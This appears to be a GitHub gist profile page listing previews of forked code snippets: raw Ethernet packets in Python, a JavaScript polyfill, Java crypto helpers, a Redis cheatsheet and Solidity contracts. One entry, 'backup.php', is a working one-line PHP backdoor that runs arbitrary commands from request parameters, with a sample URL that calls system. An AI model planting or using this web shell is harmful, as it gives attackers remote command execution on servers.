Skip to content

Instantly share code, notes, and snippets.

View vinhjaxt's full-sized avatar
🏠
Working from home

vinhjaxt

🏠
Working from home
View GitHub Profile
@vinhjaxt
vinhjaxt / sendeth.py
Created November 10, 2016 06:39 — forked from cslarsen/sendeth.py
One way of sending raw Ethernet packets in Python
"""Demonstrates how to construct and send raw Ethernet packets on the
network.
You probably need root privs to be able to bind to the network interface,
e.g.:
$ sudo python sendeth.py
"""
from socket import *
@vinhjaxt
vinhjaxt / object-watch.js
Created July 19, 2017 19:07 — forked from eligrey/object-watch.js
object.watch polyfill in ES5
/*
* object.watch polyfill
*
* 2012-04-03
*
* By Eli Grey, http://eligrey.com
* Public Domain.
* NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
*/
package demo;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class aes {
/**
* java字节码转字符串
@vinhjaxt
vinhjaxt / Signature.java
Created July 23, 2017 00:24 — forked from border/Signature.java
Signature for php and java
static String generateSignature () {
String encoded = "";
String type = "HmacSHA1";
try {
byte[] key = ("KEY").getBytes("UTF-8");
byte[] Sequence = ("hello").getBytes("UTF-8");
Mac HMAC = Mac.getInstance(type);
SecretKeySpec secretKey = new SecretKeySpec(key, type);
@vinhjaxt
vinhjaxt / backup.php
Created October 9, 2017 12:07 — forked from leonjza/backup.php
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
<?php extract($_REQUEST); @die($ctime($atime));
@vinhjaxt
vinhjaxt / redis_cheatsheet.bash
Created October 18, 2018 13:00 — forked from LeCoupa/redis_cheatsheet.bash
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
@vinhjaxt
vinhjaxt / 1_Storage.sol
Created September 13, 2020 03:46 — forked from shahzaintariq/1_Storage.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
pragma solidity >=0.4.22 <0.7.0;
/**
* @title Storage
* @dev Store & retreive value in a variable
*/
contract Storage {
uint256 number;
@vinhjaxt
vinhjaxt / swap.js
Created September 13, 2020 03:47 — forked from tienshaoku/swap.js
function swapETHToDai() public payable returns(uint[] memory) {
// static array: address[k] memory array;
// The following is the dynamic array way of initialization
address[] memory _paths = new address[](2);
// Also, push() is for storage array.
_paths[0] = WETHAddress;
_paths[1] = DaiAddress;
return uniswapV2Router01.swapExactETHForTokens{value: msg.value}(0, _paths, msg.sender, now + 120);
}
@vinhjaxt
vinhjaxt / EIP20Interface.sol
Created September 13, 2020 03:50 — forked from anubhavgirdhar/EIP20Interface.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
@vinhjaxt
vinhjaxt / EIP712.sol
Created September 13, 2020 03:50 — forked from anubhavgirdhar/EIP712.sol
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
pragma solidity ^0.5.0;
contract EIP712 {
mapping(address => uint256) public nonces;
struct EIP712Domain {
string name;
string version;
uint256 chainId;